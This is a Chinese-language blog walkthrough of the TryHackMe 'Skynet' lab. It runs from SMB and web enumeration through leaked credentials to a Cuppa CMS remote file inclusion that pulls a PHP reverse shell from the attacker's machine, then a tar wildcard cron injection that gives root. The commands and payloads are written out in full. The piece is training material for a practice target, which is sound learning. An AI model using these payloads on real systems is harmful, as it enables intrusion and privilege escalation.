TRY HACK ME | Skynet「SMB信息搜集+TAR提权」

TRY HACK ME 渗透测试靶场,以基础为主层层深入,知识点讲解详细,对于想实现从零到一飞跃的白客,TRY HACK ME无非是最好的选择。而网络上资源良莠不齐,好的资源难找的一逼。因此,今天起我将与大家一起详细学习THM重要的ROOM里的内容,力求让每个人都能理解、掌握其中的内容,让我们一起学习、一起å进步、一起GET THE FLAG!

The Terminator

THM靶场:Skynet「SMB信息搜集+TAR提权」

THM靶场:Skynet

这个房间是一个终结者主题的测试房间,就相当于前面的基础内容都学习的差不多了,来个单元测验的感觉。里面没有提示,更接近于实战与CTF(其实问题中也有一步一步的引导),先信息收集找到隐藏目录与隐藏内容,再一步一步提权获取普通用户权限、管理员权限,漏洞利用方面涉及远程文件包含的漏洞利用,话不多说,直接开干!

终结者:创世纪

启动机器,连接openvpn,点击“Start Machine”获取目标IP,本次测试使用KAIL作为攻击机,连接成功后显示如下:
SKYnet

如图所示,是一个搜索的页面,但是不管搜啥都没得反应,页面源代码也没有什么有用的信息,也没有robots.txt文件等容易信息泄露的页面,没有骚操作,我们就直接nmap走起,命令如下:

nmap -p- -sC -sV -T4 -v -oN nmap/initial $IP //IP为靶机IP

等待几分钟扫描结束后,cat nmap/initial 获取扫描结果
smb服务开启
可以看到,靶机开启了SMB服务,我们可以使用KALI里一个强大的smb扫描工具Enum4linux,对服务器上的SMB服务的账号信息进行扫描,命令如下:

enum4linux -S $IP //IP为靶机IP

enum4linux
分析扫描结果可以看出,有一个匿名用户:anonymous,一个应该是管理员用户:milesdyson,因为匿名用户不需要密码,我们先登录看看有没有有趣的信息:

使用命令连接服务中的匿名账户:

smbclient //10.10.144.198/anonymous 

登录后,默认无密码,get 获取其中的attention.txt文件,内容为:

“A recent system malfunction has caused various passwords to be changed. All skynet employees are required to change their password after seeing this.

                                        ——— Miles Dyson”

smb服务匿名账户获取敏感信息

从中我们可以得到两个信息,一个是最近天网系统产生BUG导致密码可能会被任意修改,所以网站的后台密码可能是默认密码或者有任意密码修改漏洞可以利用;另一个是该信息的发送者“Miles Dyson”应该确定是管理员账号,先记录下后面可能会用的上。接下来使用gobuster对网站目录进行常规扫描:

gobuster dir -u http://$IP/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --no-error

squirrelmail
经过很长一段时间的扫描,终于出现了一些有意思的信息。其中admin、config等页面都403,但squirrelmail可以正常访问,squirrelmail是一个邮件服务,显示如下:squirrelmail

这里应该是Miles Dyson使用的邮件服务。这里我们有两个思路,一个是知道用户名,直接爆破密码,但是往往比较复杂,很难爆出;还有就是可以查找这个版本的漏洞直接利用漏洞进后台,看了大佬的WP,才发现之前在匿名登录smb服务的时候没有查看log文件,遂重新进入:
log1.txt
获取log1.txt文件信息可以发现,可能是是预留的登陆日志信息,盲猜一波第一个就是密码,输入密码:cyborg007haloterminator,成功登陆squirrelmail后台!
squirrelmail后台
进入后,发现邮件“Samba Password reset”应该是在前文所提的天网系统出现漏洞后管理员重新设定了SMB服务的密码直接获取密码:

)s{A&2Z=F^n_E.B` //还是相当复杂的,爆破的估计头都大了


登录管理员SMB服务,进一步获取敏感信息:

smbclient --user=milesdyson //$IP/milesdyson //IP为靶机IP
密码:)s{A&2Z=F^n_E.B`

important.txt
其中有一个important.txt文件十分有意思,直接下载、cat,可以看到这应该是管理员给自己列的重要事项的清单(第三点说要多花点时间陪陪老婆,宠妻狂魔实锤了),其中出现了CMS的隐藏目录:/45kra24zxs28v3yd,访问下为管理员的私人页面:
私人页面
扫描二级目录发现,administrator为该页面的管理页面,使用了CUPPA的CMS
cuppa

搜索该CMS的漏洞,发现一个被验证的远程文件包含漏洞
远程文件包含(RFI)漏洞

分析下,payload为“/alerts/alertConfigField.php?urlConfig=”只要在等于号之后加上命令就可以直接执行远程代码,这里我们使用KALI自带的反向shell:php-reverse-shell.php,让服务器访问我们的攻击机并下载反向shell,我们通过在网页上访问模拟服务器访问,弹一个shell到我们的攻击机上获取初始shell,操作如下:

先使用python搭建临时服务,让靶机服务器能够访问,其中需要修改反向shell的监听端口和攻击机IP,我这里设定的端口为1234
python搭建临时服务

再设置监听端口,以接收SHELL设置监听端口

最后一步,构造payload:

http://$IP1/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://$IP2/php-reverse-shell.php //IP1为靶机IP,IP2为攻击机IP

成功获得SHELL!
whoami?
这里有个很巧妙的点,直接执行命令:which python,探测服务器有没有安装python,可以看到python存在
python存在
所以我们直接执行命令,进入终端:

python -c "import pty ; pty.spawn('/bin/bash')"

进入milesdyson目录,发现有一个可疑的backups文件,进入该文件
backups
它显示该脚本只是使用 tar 命令行工具来归档存储在 /var/www/html 中的 Web 应用程序的内容,并将备份放在备份文件夹中。查看存储在 /etc/crontab 文件中的 cron 任务后,发现该脚本似乎每分钟都以 root 身份执行:

crontab

在查询 GTFOBins 网站后,发现似乎 tar 在以 sudo 运行时可以被利用。Tar 有一个名为 –checkpoint 的参数,它允许在每次归档 X 个文件时显示“进度”消息。这可以与 –checkpoint-action 标志串联使用,该标志允许在到达检查点时以二进制或脚本的形式执行操作。由于脚本中使用的通配符将对 /var/www/html 目录中的所有文件和文件夹执行给定命令,因此可以通过添加 –checkpoint=1 文件(以启用检查点功能)和 –checkpoint 来利用它-action=exec=/tmp/stef.sh 文件(指定要执行的操作),当 tar 遇到它们时,它将被有效地视为参数。

创建 BASH 脚本,该脚本将创建 bash 的 SUID 二进制文件,将其命名为 stef.sh:stef.sh
执行命令来创建两个文件,它们实际上是 tar 命令行实用程序的参数:

touch "/var/www/html/--checkpoint-action=exec=sh stef.sh"
touch "/var/www/html/--checkpoint=1"

大约一分钟后,cron 作业运行并创建了 BASH 的“stef”SUID 副本。在使用 -p 标志执行它后,它允许以它的所有者身份执行二进制文件,这将授予对主机的 root 访问权限:

root!

IT'S OVER


Steelmountain 靶场通关小结

在这个房间中,我们一起学习了基于现实生活对在实际网络上找到的问题,例如开放的 SMB 共享包含敏感信息、包含凭据的电子邮件以及导致远程代码执行的未打补丁的易受攻击的软件,最后提权。如果有部分不明白的,可以把流程反反复复的多看几遍,同时也非常欢迎大家私信我,如果觉得内容做的不错的话,也可以关注我的公众号:HACKER 航仔 以获取最新消息并与我联系,十分感谢能看到这里的各位,虽然制作不易,看到你们的点赞我还是很开心的!我们下期再见,拜了个拜~~~

溜了溜了

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值